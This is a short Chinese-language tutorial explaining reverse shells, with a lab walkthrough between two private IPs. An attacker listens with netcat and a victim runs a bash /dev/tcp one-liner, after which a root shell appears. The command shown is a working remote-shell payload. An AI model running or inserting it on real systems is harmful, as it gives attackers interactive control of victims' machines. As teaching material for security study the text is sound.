反弹shell(reverse) 是 攻击机 监听在某个 TCP/UDP 端口为 服务端,受害机 主动发起请求到 攻击机 监听的端口,并将其命令行的输入输出转到 攻击机。
概念
正向连接 指 攻击机 去连接 受害机 开放的端口。更多参考:什么是正向代理、反向代理、透明代理
反向连接 指 受害机 去连接 攻击机 开放的端口,反弹shell 基于 反向连接 实现
场景
受害机 只能发送请求,不能接收请求
受害机 端口被占用
受害机 IP会动态变化,攻击机 无法直接连接
- 对于病毒、木马,受害者的中招时间、网络环境、开/关机都未知时
安装
Ubuntu
apt install -y netcat
示例
攻击机
ip 地址为 172.17.0.1,默认使用 netcat 监听在 tcp:8888 端口
$ nc -nvlp 8888
Listening on 0.0.0.0 8888
参数说明:
受害机
ip 地址为 172.17.0.2,执行命令:
bash -i >& /dev/tcp/172.17.0.1/8888 0>&1
参数说明:
bash -i i 是 interactive 的缩写,会产生一个 交互式的bash
/dev/tcp/<IP>/<PORT> 是一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 用来实现网络请求的一个接口
- 打开这个文件相当于发出了一个
socket 调用并建立一个 socket 连接
- 读写这个文件相当于在这个
socket 连接中传输数据
此时,攻击机 内可以看到已经连接的 受害机 的 shell 中,如下:
$ nc -nvlp 8888
Listening on 0.0.0.0 8888
Connection received on 172.17.0.2 37646
root@582fd9275fbf:/#